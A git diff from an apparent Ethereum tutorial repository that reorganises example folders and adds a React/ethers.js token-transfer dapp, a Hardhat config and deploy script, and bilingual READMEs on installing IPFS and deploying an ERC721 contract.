diff --git a/Example09-hardhat-react/frontend/public/logo310.png b/basic/09-hardhat-react/frontend/public/logo310.png
similarity index 100%
rename from Example09-hardhat-react/frontend/public/logo310.png
rename to basic/09-hardhat-react/frontend/public/logo310.png
diff --git a/Example09-hardhat-react/frontend/public/manifest.json b/basic/09-hardhat-react/frontend/public/manifest.json
similarity index 100%
rename from Example09-hardhat-react/frontend/public/manifest.json
rename to basic/09-hardhat-react/frontend/public/manifest.json
diff --git a/Example09-hardhat-react/frontend/public/robots.txt b/basic/09-hardhat-react/frontend/public/robots.txt
similarity index 100%
rename from Example09-hardhat-react/frontend/public/robots.txt
rename to basic/09-hardhat-react/frontend/public/robots.txt
diff --git a/Example09-hardhat-react/frontend/src/components/ConnectWallet.js b/basic/09-hardhat-react/frontend/src/components/ConnectWallet.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/components/ConnectWallet.js
rename to basic/09-hardhat-react/frontend/src/components/ConnectWallet.js
diff --git a/basic/09-hardhat-react/frontend/src/components/Dapp.js b/basic/09-hardhat-react/frontend/src/components/Dapp.js
new file mode 100644
index 000000000..6ffa63790
--- /dev/null
+++ b/basic/09-hardhat-react/frontend/src/components/Dapp.js
@@ -0,0 +1,411 @@
+import React from 'react'
+
+// We'll use ethers to interact with the Ethereum network and our contract
+import { ethers } from 'ethers'
+
+// We import the contract's artifacts and address here, as we are going to be
+// using them with ethers
+import simpleTokenArtifact from '../contracts/SimpleToken.json'
+import contractAddress from '../contracts/contract-address.json'
+import deployerAccount from '../contracts/deployer.json'
+
+// All the logic of this dapp is contained in the Dapp component.
+// These other components are just presentational ones: they don't have any
+// logic. They just render HTML.
+import { NoWalletDetected } from './NoWalletDetected'
+import { ConnectWallet } from './ConnectWallet'
+import { Loading } from './Loading'
+import { Transfer } from './Transfer'
+import { TransactionErrorMessage } from './TransactionErrorMessage'
+import { WaitingForTransactionMessage } from './WaitingForTransactionMessage'
+import { NoTokensMessage } from './NoTokensMessage'
+
+// This is the Hardhat Network id, you might change it in the hardhat.config.js
+// Here's a list of network ids https://docs.metamask.io/guide/ethereum-provider.html#properties
+// to use when deploying to other networks.
+const HARDHAT_NETWORK_ID = '11155111'
+
+// This is an error code that indicates that the user canceled a transaction
+const ERROR_CODE_TX_REJECTED_BY_USER = 4001
+
+// get the SimpleToken contract address
+let simpleTokenContractAddress = contractAddress.contractAddress
+
+//get the contract deployer
+const contractDeployer = deployerAccount.deployer
+
+// This component is in charge of doing these things:
+//   1. It connects to the user's wallet
+//   2. Initializes ethers and the Token contract
+//   3. Polls the user balance to keep it updated.
+//   4. Transfers tokens by sending transactions
+//   5. Renders the whole application
+//
+// Note that (3) and (4) are specific of this sample application, but they show
+// you how to keep your Dapp and contract's state in sync,  and how to send a
+// transaction.
+export class Dapp extends React.Component {
+  constructor(props) {
+    super(props)
+
+    // We store multiple things in Dapp's state.
+    // You don't need to follow this pattern, but it's an useful example.
+    this.initialState = {
+      // The info of the token (i.e. It's Name and symbol)
+      tokenData: undefined,
+      // The user's address and balance
+      selectedAddress: undefined,
+      balance: undefined,
+      // The ID about transactions being sent, and any possible error with them
+      txBeingSent: undefined,
+      deployBegin: undefined,
+      transactionError: undefined,
+      networkError: undefined,
+      decimals: undefined,
+    }
+
+    this.state = this.initialState
+  }
+
+  render () {
+    // Ethereum wallets inject the window.ethereum object. If it hasn't been
+    // injected, we instruct the user to install MetaMask.
+    if (window.ethereum === undefined) {
+      return <NoWalletDetected />
+    }
+
+    // The next thing we need to do, is to ask the user to connect their wallet.
+    // When the wallet gets connected, we are going to save the users's address
+    // in the component's state. So, if it hasn't been saved yet, we have
+    // to show the ConnectWallet component.
+    //
+    // Note that we pass it a callback that is going to be called when the user
+    // clicks a button. This callback just calls the _connectWallet method.
+    if (!this.state.selectedAddress) {
+      return (
+        <ConnectWallet
+          connectWallet={() => this._connectWallet()}
+          networkError={this.state.networkError}
+          dismiss={() => this._dismissNetworkError()}
+        />
+      )
+    }
+
+    // If the token data or the user's balance hasn't loaded yet, we show
+    // a loading component.
+    if (!this.state.tokenData || !this.state.balance) {
+      return <Loading />
+    }
+
+    // If everything is loaded, we render the application.
+    return (
+      <div className="container p-4">
+        <div className="row">
+          <div className="col-12">
+            <h1>
+              {this.state.tokenData.name} ({this.state.tokenData.symbol})
+            </h1>
+            <p>
+              Welcome <b>{this.state.selectedAddress}</b>, you have{' '}
+              <b>
+                {/* show human read balance (deployed contract with precise 1 in /scripts/deploy.js) */}
+                {ethers.formatUnits(this.state.balance, this.state.decimals)} {this.state.tokenData.symbol}
+              </b>
+              .
+            </p>
+          </div>
+        </div>
+
+        <hr />
+
+        <div className="row">
+          <div className="col-12">
+            {/* 
+              Sending a transaction isn't an immidiate action. You have to wait
+              for it to be mined.
+              If we are waiting for one, we show a message here.
+            */}
+            {this.state.txBeingSent && (
+              <WaitingForTransactionMessage txHash={this.state.txBeingSent} />
+            )}
+
+            {/* 
+              Sending a transaction can fail in multiple ways. 
+              If that happened, we show a message here.
+            */}
+            {this.state.transactionError && (
+              <TransactionErrorMessage
+                message={this._getRpcErrorMessage(this.state.transactionError)}
+                dismiss={() => this._dismissTransactionError()}
+              />
+            )}
+          </div>
+        </div>
+
+        <div className="row">
+          <div className="col-12">
+            {/*
+              If the user has no tokens, we don't show the Transfer form
+            */}
+            {this.state.balance === 0 && (
+              <NoTokensMessage deployContract={() => this._deployContract()} />
+            )}
+            {this.state.deployBegin && <Loading />}
+
+            {/*
+              This component displays a form that the user can use to send a 
+              transaction and transfer some tokens.
+              The component doesn't have logic, it just calls the transferTokens
+              callback.
+            */}
+            {this.state.balance > 0 && (
+              <Transfer
+                transferTokens={(to, amount) =>
+                  // convert to contract precise amount
+                  this._transferTokens(to, ethers.parseUnits(amount, this.state.decimals))
+                }
+              />
+            )}
+          </div>
+        </div>
+      </div>
+    )
+  }
+
+  componentWillUnmount () {
+    // We poll the user's balance, so we have to stop doing that when Dapp
+    // gets unmounted
+    this._stopPollingData()
+  }
+
+  async _connectWallet () {
+    // This method is run when the user clicks the Connect. It connects the
+    // dapp to the user's wallet, and initializes it.
+
+    // To connect to the user's wallet, we have to run this method.
+    // It returns a promise that will resolve to the user's address.
+    const [selectedAddress] = await window.ethereum.request({ method: 'eth_requestAccounts' });
+
+    // Once we have the address, we can initialize the application.
+
+    // First we check the network
+    if (!this._checkNetwork()) {
+      return
+    }
+
+    this._initialize(selectedAddress)
+
+    // We reinitialize it whenever the user changes their account.
+    window.ethereum.on('accountsChanged', ([newAddress]) => {
+      this._stopPollingData()
+      // `accountsChanged` event can be triggered with an undefined newAddress.
+      // This happens when the user removes the Dapp from the "Connected
+      // list of sites allowed access to your addresses" (Metamask > Settings > Connections)
+      // To avoid errors, we reset the dapp state
+      if (newAddress === undefined) {
+        return this._resetState()
+      }
+
+      this._initialize(newAddress)
+    })
+
+    // We reset the dapp state if the network is changed
+    window.ethereum.on('chainChanged', ([_chainId]) => {
+      this._stopPollingData()
+      this._resetState()
+    })
+  }
+
+  _initialize (userAddress) {
+    // This method initializes the dapp
+
+    // We first store the user's address in the component's state
+    this.setState({
+      selectedAddress: userAddress,
+    })
+
+    // Then, we initialize ethers, fetch the token's data, and start polling
+    // for the user's balance.
+
+    // Fetching the token data and the user's balance are specific to this
+    // sample project, but you can reuse the same initialization pattern.
+    this._intializeEthers()
+    this._getTokenData()
+    this._startPollingData()
+  }
+
+  async _intializeEthers () {
+    // We first initialize ethers by creating a provider using window.ethereum
+    this._provider = new ethers.BrowserProvider(window.ethereum)
+    const signer = await this._provider.getSigner();
+
+    // When, we initialize the contract using that provider and the token's
+    // artifact. You can do this same thing with your contracts.
+    console.log('signer', signer, simpleTokenContractAddress,)
+    this._simpleToken = new ethers.Contract(
+      simpleTokenContractAddress,
+      simpleTokenArtifact.abi,
+      signer
+    )
+    console.log('simpleToken', this._simpleToken)
+    this.setState({ decimals: await this._simpleToken.decimals() })
+  }
+
+  // The next to methods are needed to start and stop polling data. While
+  // the data being polled here is specific to this example, you can use this
+  // pattern to read any data from your contracts.
+  //
+  // Note that if you don't need it to update in near real time, you probably
+  // don't need to poll it. If that's the case, you can just fetch it when you
+  // initialize the app, as we do with the token data.
+  _startPollingData () {
+    this._pollDataInterval = setInterval(() => this._updateBalance(), 1000)
+
+    // We run it once immediately so we don't have to wait for it
+    this._updateBalance()
+  }
+
+  _stopPollingData () {
+    clearInterval(this._pollDataInterval)
+    this._pollDataInterval = undefined
+  }
+
+  // The next two methods just read from the contract and store the results
+  // in the component state.
+  async _getTokenData () {
+
+    const name = await this._simpleToken?.name()
+    const symbol = await this._simpleToken?.symbol()
+    console.log('name', name, symbol)
+    this.setState({ tokenData: { name, symbol } })
+  }
+
+  async _updateBalance () {
+    const balance = await this._simpleToken?.balanceOf(
+      this.state.selectedAddress
+    )
+    console.log('balance', balance)
+    // ethers.BigNumber.isBigNumber(balance)
+    this.setState({ balance })
+  }
+
+  // This method sends an ethereum transaction to transfer tokens.
+  // While this action is specific to this application, it illustrates how to
+  // send a transaction.
+  async _transferTokens (to, amount) {
+    // Sending a transaction is a complex operation:
+    //   - The user can reject it
+    //   - It can fail before reaching the ethereum network (i.e. if the user
+    //     doesn't have ETH for paying for the tx's gas)
+    //   - It has to be mined, so it isn't immediately confirmed.
+    //     Note that some testing networks, like Hardhat Network, do mine
+    //     transactions immediately, but your dapp should be prepared for
+    //     other networks.
+    //   - It can fail once mined.
+    //
+    // This method handles all of those things, so keep reading to learn how to
+    // do it.
+
+    try {
+      // If a transaction fails, we save that error in the component's state.
+      // We only save one such error, so before sending a second transaction, we
+      // clear it.
+      this._dismissTransactionError()
+
+      // We send the transaction, and save its hash in the Dapp's state. This
+      // way we can indicate that we are waiting for it to be mined.
+      const tx = await this._simpleToken.transfer(to, amount)
+      this.setState({ txBeingSent: tx.hash })
+
+      // We use .wait() to wait for the transaction to be mined. This method
+      // returns the transaction's receipt.
+      const receipt = await tx.wait()
+
+      // The receipt, contains a status flag, which is 0 to indicate an error.
+      if (receipt.status === 0) {
+        // We can't know the exact error that make the transaction fail once it
+        // was mined, so we throw this generic one.
+        throw new Error('Transaction failed')
+      }
+
+      // If we got here, the transaction was successful, so you may want to
+      // update your state. Here, we update the user's balance.
+      await this._updateBalance()
+    } catch (error) {
+      // We check the error code to see if this error was produced because the
+      // user rejected a tx. If that's the case, we do nothing.
+      if (error.code === ERROR_CODE_TX_REJECTED_BY_USER) {
+        return
+      }
+
+      // Other errors are logged and stored in the Dapp's state. This is used to
+      // show them to the user, and for debugging.
+      console.error(error)
+      this.setState({ transactionError: error })
+    } finally {
+      // If we leave the try/catch, we aren't sending a tx anymore, so we clear
+      // this part of the state.
+      this.setState({ txBeingSent: undefined })
+    }
+  }
+
+  // This method just clears part of the state.
+  _dismissTransactionError () {
+    this.setState({ transactionError: undefined })
+  }
+
+  // This method just clears part of the state.
+  _dismissNetworkError () {
+    this.setState({ networkError: undefined })
+  }
+
+  // This is an utility method that turns an RPC error into a human readable
+  // message.
+  _getRpcErrorMessage (error) {
+    if (error.data) {
+      return error.data.message
+    }
+
+    return error.message
+  }
+
+  // This method resets the state
+  _resetState () {
+    this.setState(this.initialState)
+  }
+
+  // This method checks if Metamask selected network is Localhost:8545
+  _checkNetwork () {
+    if (window.ethereum.networkVersion === HARDHAT_NETWORK_ID) {
+      return true
+    }
+
+    this.setState({
+      networkError: 'Please connect Metamask to Sepolia',
+    })
+
+    return false
+  }
+
+  async _deployContract () {
+    this.setState({ deployBegin: true })
+    let simpleTokenContractFactory = new ethers.ContractFactory(
+      simpleTokenArtifact.abi,
+      simpleTokenArtifact.bytecode,
+      this._provider.getSigner(0)
+    )
+
+    let simpleTokenContract = await simpleTokenContractFactory.deploy(
+      'hello',
+      'Dapp',
+      1,
+      100000000
+    )
+    await simpleTokenContract.deployed()
+
+    simpleTokenContractAddress = simpleTokenContract.address
+    await this._intializeEthers()
+
+    this.setState({ deployBegin: undefined })
+  }
+}
\ No newline at end of file
diff --git a/Example09-hardhat-react/frontend/src/components/Loading.js b/basic/09-hardhat-react/frontend/src/components/Loading.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/components/Loading.js
rename to basic/09-hardhat-react/frontend/src/components/Loading.js
diff --git a/Example09-hardhat-react/frontend/src/components/NetworkErrorMessage.js b/basic/09-hardhat-react/frontend/src/components/NetworkErrorMessage.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/components/NetworkErrorMessage.js
rename to basic/09-hardhat-react/frontend/src/components/NetworkErrorMessage.js
diff --git a/Example09-hardhat-react/frontend/src/components/NoTokensMessage.js b/basic/09-hardhat-react/frontend/src/components/NoTokensMessage.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/components/NoTokensMessage.js
rename to basic/09-hardhat-react/frontend/src/components/NoTokensMessage.js
diff --git a/Example09-hardhat-react/frontend/src/components/NoWalletDetected.js b/basic/09-hardhat-react/frontend/src/components/NoWalletDetected.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/components/NoWalletDetected.js
rename to basic/09-hardhat-react/frontend/src/components/NoWalletDetected.js
diff --git a/Example09-hardhat-react/frontend/src/components/TransactionErrorMessage.js b/basic/09-hardhat-react/frontend/src/components/TransactionErrorMessage.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/components/TransactionErrorMessage.js
rename to basic/09-hardhat-react/frontend/src/components/TransactionErrorMessage.js
diff --git a/Example09-hardhat-react/frontend/src/components/Transfer.js b/basic/09-hardhat-react/frontend/src/components/Transfer.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/components/Transfer.js
rename to basic/09-hardhat-react/frontend/src/components/Transfer.js
diff --git a/Example09-hardhat-react/frontend/src/components/WaitingForTransactionMessage.js b/basic/09-hardhat-react/frontend/src/components/WaitingForTransactionMessage.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/components/WaitingForTransactionMessage.js
rename to basic/09-hardhat-react/frontend/src/components/WaitingForTransactionMessage.js
diff --git a/Example09-hardhat-react/frontend/src/index.js b/basic/09-hardhat-react/frontend/src/index.js
similarity index 100%
rename from Example09-hardhat-react/frontend/src/index.js
rename to basic/09-hardhat-react/frontend/src/index.js
diff --git a/basic/09-hardhat-react/hardhat.config.js b/basic/09-hardhat-react/hardhat.config.js
new file mode 100644
index 000000000..48e7dae26
--- /dev/null
+++ b/basic/09-hardhat-react/hardhat.config.js
@@ -0,0 +1,31 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('./tasks/faucet');
+const fs = require('fs');
+require('dotenv').config();
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+/** @type import('hardhat/config').HardhatUserConfig */
+module.exports = {
+  solidity: '0.8.0',
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [mnemonic()],
+    },
+  },
+};
diff --git a/basic/09-hardhat-react/package.json b/basic/09-hardhat-react/package.json
new file mode 100644
index 000000000..aa6a06088
--- /dev/null
+++ b/basic/09-hardhat-react/package.json
@@ -0,0 +1,21 @@
+{
+  "name": "09-hardhat-react",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.1.0",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.22.2",
+    "ipfs-api": "^26.1.2"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0"
+  }
+}
diff --git a/basic/09-hardhat-react/scripts/deploy.js b/basic/09-hardhat-react/scripts/deploy.js
new file mode 100644
index 000000000..175b27322
--- /dev/null
+++ b/basic/09-hardhat-react/scripts/deploy.js
@@ -0,0 +1,63 @@
+// This is a script for deploying your contracts. You can adapt it to deploy
+// yours, or create new ones.
+async function main () {
+  // This is just a convenience check
+  if (network.name === 'hardhat') {
+    console.warn(
+      'You are trying to deploy a contract to the Hardhat Network, which' +
+      'gets automatically created and destroyed every time. Use the Hardhat' +
+      " option '--network localhost'"
+    )
+  }
+
+  // ethers is avaialble in the global scope
+  const [deployer] = await ethers.getSigners()
+  console.log(
+    'Deploying the contracts with the account:',
+    await deployer.getAddress()
+  )
+
+  console.log('Account balance:', (await ethers.provider.getBalance(deployer.address)).toString())
+
+  const Token = await ethers.getContractFactory('SimpleToken')
+  const token = await Token.deploy('Hello', 'Token', 1, 10000)
+  await token.waitForDeployment()
+
+  console.log('SimpleToken address:', token.target)
+
+  // We also save the contract's artifacts and address in the frontend directory
+  saveFrontendFiles(token, deployer)
+}
+
+function saveFrontendFiles (token, deployerAccount) {
+  const fs = require('fs')
+  const contractsDir = __dirname + '/../frontend/src/contracts'
+
+  if (!fs.existsSync(contractsDir)) {
+    fs.mkdirSync(contractsDir)
+  }
+
+  fs.writeFileSync(
+    contractsDir + '/contract-address.json',
+    JSON.stringify({ contractAddress: token.target }, undefined, 2)
+  )
+
+  const TokenArtifact = artifacts.readArtifactSync('SimpleToken')
+
+  fs.writeFileSync(
+    contractsDir + '/SimpleToken.json',
+    JSON.stringify(TokenArtifact, null, 2)
+  )
+
+  fs.writeFileSync(
+    contractsDir + '/deployer.json',
+    JSON.stringify({ deployer: deployerAccount }, undefined, 2)
+  )
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error)
+    process.exit(1)
+  })
\ No newline at end of file
diff --git a/Example09-hardhat-react/tasks/faucet.js b/basic/09-hardhat-react/tasks/faucet.js
similarity index 89%
rename from Example09-hardhat-react/tasks/faucet.js
rename to basic/09-hardhat-react/tasks/faucet.js
index 8940685d4..256b4897d 100644
--- a/Example09-hardhat-react/tasks/faucet.js
+++ b/basic/09-hardhat-react/tasks/faucet.js
@@ -25,12 +25,12 @@ task("faucet", "Sends ETH and tokens to an address")
     const addressJson = fs.readFileSync(addressesFile);
     const address = JSON.parse(addressJson);
 
-    if ((await ethers.provider.getCode(address.Token)) === "0x") {
+    if ((await ethers.provider.getCode(address.contractAddress)) === "0x") {
       console.error("You need to deploy your contract first");
       return;
     }
 
-    const token = await ethers.getContractAt("Token", address.Token);
+    const token = await ethers.getContractAt("SimpleToken", address.contractAddress);
     const [sender] = await ethers.getSigners();
 
     const tx = await token.transfer(receiver, 100);
diff --git a/basic/10-hardhat-ipfs-erc721/.env.example b/basic/10-hardhat-ipfs-erc721/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/10-hardhat-ipfs-erc721/.gitignore b/basic/10-hardhat-ipfs-erc721/.gitignore
new file mode 100644
index 000000000..5469f0a92
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/.gitignore
@@ -0,0 +1,8 @@
+node_modules
+
+#Hardhat files
+cache
+artifacts
+
+#flatten sol
+MYERC721.sol
\ No newline at end of file
diff --git a/basic/10-hardhat-ipfs-erc721/README-CN.md b/basic/10-hardhat-ipfs-erc721/README-CN.md
new file mode 100644
index 000000000..885429e3b
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/README-CN.md
@@ -0,0 +1,156 @@
+中文 / [English](./README.md)
+
+## IPFS 介绍
+
+是一个旨在创建持久且分布式存储和共享文件的网络传输协议。它是一种内容可寻址的对等超媒体分发协议。
+
+在 IPFS 网络中的节点将构成一个分布式文件系统。它是一个开放源代码项目，自 2014 年开始由协议实验室在开源社区的帮助下发展。其最初由 Juan Benet 设计  
+IPFS 是一个对等的分布式文件系统，它尝试为所有计算设备连接同一个文件系统。在某些方面，IPFS 类似于万维网，也可以被视作一个独立的 BitTorrent 群、在同一个 Git 仓库中交换对象。 换种说法，IPFS 提供了一个高吞吐量、按内容寻址的块存储模型，及与内容相关超链接。这形成了一个广义的 Merkle 有向无环图（DAG）。
+
+IPFS 结合了分布式散列表、鼓励块交换和一个自我认证的名字空间。IPFS 没有单点故障，并且节点不需要相互信任。分布式内容传递可以节约带宽，和防止 HTTP 方案可能遇到的 DDoS 攻击。
+
+该文件系统可以通过多种方式访问，包括 FUSE 与 HTTP。将本地文件添加到 IPFS 文件系统可使其面向全世界可用。文件表示基于其哈希，因此有利于缓存。文件的分发采用一个基于 BitTorrent 的协议。其他查看内容的用户也有助于将内容提供给网络上的其他人。  
+IPFS 有一个称为 IPNS 的名称服务，它是一个基于 PKI 的全局名字空间，用于构筑信任链，这与其他 NS 兼容，并可以映射 DNS、.onion、.bit 等到 IPNS。
+
+<!-- todo 1155 left -->
+
+## IPFS 安装
+
+IPFS 有多种方式:
+
+- IPFS Desktop: 直接运行的应用程序，适合所有人
+- Command-line: 命令行方式安装, 这里我们选择这种安装方式, 下面以 mac 下这种安装方式为例进行讲解，其他系统安装方式参考文档
+
+1. 下载文件
+
+```bash
+wget https://dist.ipfs.io/go-ipfs/v0.8.0/go-ipfs_v0.8.0_darwin-amd64.tar.gz
+```
+
+2. 解压缩
+
+```angular2html
+tar -xvzf go-ipfs_v0.8.0_darwin-amd64.tar.gz
+
+> x go-ipfs/install.sh
+> x go-ipfs/ipfs
+> x go-ipfs/LICENSE
+> x go-ipfs/LICENSE-APACHE
+> x go-ipfs/LICENSE-MIT
+> x go-ipfs/README.md
+```
+
+3. 执行安装
+
+```angular2html
+cd go-ipfs
+bash install.sh
+
+> Moved ./ipfs to /usr/local/bin
+```
+
+4. 检查安装结果
+
+```angular2html
+ipfs --version
+
+> ipfs version 0.8.0
+```
+
+## IPFS 初始化及启动
+
+1. 初始化 ipfs
+
+```angular2html
+ipfs init
+
+> initializing ipfs node at /Users/jbenet/.ipfs
+> generating 2048-bit RSA keypair...done
+> peer identity: Qmcpo2iLBikrdf1d6QU6vXuNb6P7hwrbNPW9kLAH8eG67z
+> to get started, enter:
+>
+>   ipfs cat /ipfs/QmYwAPJzv5CZsnA625s3Xf2nemtYgPpHdWEz79ojWnPbdG/readme
+```
+
+- peer identity : 每个 ipfs 节点都有一个独有的 id
+
+2. 启动
+
+```angular2html
+ipfs daemon
+> Initializing daemon...
+> API server listening on /ip4/127.0.0.1/tcp/5001
+> Gateway server listening on /ip4/127.0.0.1/tcp/8080
+```
+
+3. IPFS Web console  
+   在浏览器中输入地址 localhost:5001/webui 查看 IPFS 控制台
+
+## 测试 IPFS 和 ERC721
+
+1. 安装相关依赖
+
+    ```bash
+    yarn install 或者 npm install
+
+     #Node 版本： v20.11.0
+    ```
+
+2. 配置私钥和网络：
+
+   windows:
+
+   ```bash
+   copy .env.example .env
+   ```
+
+   linux:
+
+   ```bash
+   cp  .env.example .env
+   ```
+
+   在 `.env` 文件中填写私钥和 infura 节点
+
+   ```js
+   PRIVATE_KEY = xxxxxxxxxxxxxxxx; // 替换为你的私钥
+   INFURA_ID = yyyyyyyy; // 替换为infura节点
+   ```
+
+3. 执行如下命令
+
+```angular2html
+npx hardhat run scripts/deploy-ipfs.js --network sepolia
+```
+
+运行结束后，在 console 输出的日志中，最后一行打印出了你上传文件独有的 hash
+
+```bash
+> ...
+> IPFS URL of art.jpg is : /ipfs/${FILE_HASH}$
+```
+
+4. 对比文件  
+   在当前目录下执行如下命令，其中 _${FILE_HASH}$_ 在第二步中获得
+
+```bash
+ipfs cat /ipfs/${FILE_HASH}$ > art2.jpg
+```
+
+之后，可以对比下 art.jpg 和 art2.jpg 文件显示的内容是否一致
+
+## 合约
+
+合约参考 open-zeppelin  
+修改项目: mintWithTokenURI 新增方法，任何人可以发发行 nft。
+
+合约拍平
+
+```bash
+npx hardhat flatten ./contracts/MYERC721.sol > MYERC721.sol
+```
+
+## 参考文档
+
+- https://docs.ipfs.io/install/command-line/#official-distributions
+- https://mp.weixin.qq.com/s/3DshdSAzifyP9-CQZ-ORfw
diff --git a/basic/10-hardhat-ipfs-erc721/README.md b/basic/10-hardhat-ipfs-erc721/README.md
new file mode 100644
index 000000000..8ec696f8e
--- /dev/null
+++ b/basic/10-hardhat-ipfs-erc721/README.md
@@ -0,0 +1,156 @@
+[中文](./README-CN.md) / English
+
+## Introduction of IPFS
+
+It is designed to create persistent and distributed storage and shared files. It is a content-address
+
+Nodes in IPFS network build a distributed file system. It is an open source project developed since 2014 by protocol Lab with the help of the open source community and originally designed by Juan Benet.
+IPFS is an equal distributed file system that tries to connect the same file system for all computing devices. In some ways, IPFS is similar to WWW.com and can also be regarded as an independent BitTorrent group and exchanged objects in the same Git warehouse. In other words, IPFS provides a high throughout, a block storage model with content addressing and related hyperlinks. This form a broad Merkle with a ringless chart(DAG).
+
+IPFS combines distributed scattered lists, encouraging block exchange, and a self-certified name space.IPFS has no singlepoint failure, and nodes do not need to trust each other.Distributed content transmission can save bandwidth and prevent the HTTP scheme from DDOS attacks that may encounter.
+
+This file system can be accessed in multiple ways, including Fuse and HTTP.Adding local files to the IPFS file system can make it available to the world.The file indicates that it is based on its hash, so it is conducive to cache.The distribution of the file adopts a BitTorrent protocol.Other users who look at the content also help to provide the content to the others on the Internet.
+IPFS has a name service called IPNS. It is a global name space based on PKI, which is used to build a trust chain. This is compatible with other NS and can map DNS, .onion, .bit and more to IPNS.
+
+<!-- todo 1155 left -->
+
+## IPFS Installation
+
+IPFS has multiple ways:
+
+- IPFS Desktop: Direct running applications for everyone
+- Command-line: The cli installation mode is selected. The following uses the MAC installation mode as an example. For other installation modes, refer to the documentation
+
+1. Download files
+
+```bash
+wget https://dist.ipfs.io/go-ipfs/v0.8.0/go-ipfs_v0.8.0_darwin-amd64.tar.gz
+```
+
+2. Unzip
+
+```angular2html
+tar -xvzf go-ipfs_v0.8.0_darwin-amd64.tar.gz
+
+> x go-ipfs/install.sh
+> x go-ipfs/ipfs
+> x go-ipfs/LICENSE
+> x go-ipfs/LICENSE-APACHE
+> x go-ipfs/LICENSE-MIT
+> x go-ipfs/README.md
+```
+
+3. Install
+
+```angular2html
+cd go-ipfs
+bash install.sh
+
+> Moved ./ipfs to /usr/local/bin
+```
+
+4. Checking the Installation Result
+
+```angular2html
+ipfs --version
+
+> ipfs version 0.8.0
+```
+
+## IPFS Initialization and startup
+
+1. Initialize ipfs
+
+```angular2html
+ipfs init
+
+> initializing ipfs node at /Users/jbenet/.ipfs
+> generating 2048-bit RSA keypair...done
+> peer identity: Qmcpo2iLBikrdf1d6QU6vXuNb6P7hwrbNPW9kLAH8eG67z
+> to get started, enter:
+>
+>   ipfs cat /ipfs/QmYwAPJzv5CZsnA625s3Xf2nemtYgPpHdWEz79ojWnPbdG/readme
+```
+
+- peer identity : Each IPFS node has a unique id
+
+2. Startup
+
+```angular2html
+ipfs daemon
+> Initializing daemon...
+> API server listening on /ip4/127.0.0.1/tcp/5001
+> Gateway server listening on /ip4/127.0.0.1/tcp/8080
+```
+
+3. IPFS Web console  
+   Enter the address LocalHost: 5001/WebUI to view the IPFS console
+
+## Test IPFS and ERC721
+
+1. Installation-dependent dependencies
+
+   ```bash
+   yarn install or npm install
+
+    #Node 版本： v20.11.0
+   ```
+
+2. Configure private key and network
+
+   windows:
+
+   ```bash
+   copy .env.example .env
+   ```
+
+   linux:
+
+   ```bash
+   cp  .env.example .env
+   ```
+
+   Enter private key in `.env` file and infura node
+
+   ```js
+   PRIVATE_KEY = xxxxxxxxxxxxxxxx; // your private key
+   INFURA_ID = yyyyyyyy; // infura node
+   ```
+
+3. Run the following command
+
+```angular2html
+npx hardhat run scripts/deploy-ipfs.js --network goerli
+```
+
+After running, the last line of the console log prints the hash unique to the file you uploaded
+
+```bash
+> ...
+> IPFS URL of art.jpg is : /ipfs/${FILE_HASH}$
+```
+
+4. 对比文件  
+   run the following command in the current directory, _${FILE_HASH}$_ accessed in second step
+
+```bash
+ipfs cat /ipfs/${FILE_HASH}$ > art2.jpg
+```
+
+art.jps and art2.jps can be compared to see if the contents displayed are the same.
+
+## Contracts
+
+Contract reference open-zeppelin
+Modify project: mintWithTokenURI added method，anyone can publish nft。
+
+Contract flatten
+
+```bash
+npx hardhat flatten ./contracts/MYERC721.sol > MYERC721.sol
+```
+
+## References
+
+- https://docs.ipfs.io/install/command-line/#official-distributions
+- https://mp.weixin.qq.com/s/3DshdSAzifyP9-CQZ-ORfw
diff --git a/Example10-hardhat-ipfs-erc721/art.jpg b/basic/10-hardhat-ipfs-erc721/art.jpg
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/art.jpg
rename to basic/10-hardhat-ipfs-erc721/art.jpg
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/Address.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/Address.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/Address.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/Address.sol
diff --git a/Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155.sol b/basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155.sol
rename to basic/10-hardhat-ipfs-erc721/backup/ERC1155/ERC1155.sol
